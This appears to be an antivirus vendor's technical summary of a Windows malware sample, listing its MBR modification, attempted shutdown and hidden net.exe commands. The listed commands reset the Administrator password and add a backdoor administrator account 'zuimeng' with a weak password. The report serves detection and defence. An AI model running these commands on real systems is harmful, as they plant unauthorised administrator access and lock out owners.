Technical Information
To ensure autorun and distribution
Modifies master boot record (MBR).
Miscellaneous
Creates and executes the following
- '%WINDIR%\syswow64\net.exe' user Administrator zuimengzhenshuai1' (with hidden window)
- '%WINDIR%\syswow64\net.exe' user zuimeng 123456 /add' (with hidden window)
- '%WINDIR%\syswow64\net.exe' localgroup administrators zuimeng /add' (with hidden window)
Executes the following
- '%WINDIR%\syswow64\net.exe' user Administrator zuimengzhenshuai1
- '%WINDIR%\syswow64\net.exe' user zuimeng 123456 /add
- '%WINDIR%\syswow64\net.exe' localgroup administrators zuimeng /add
Attempts to shut down the Windows operating system.
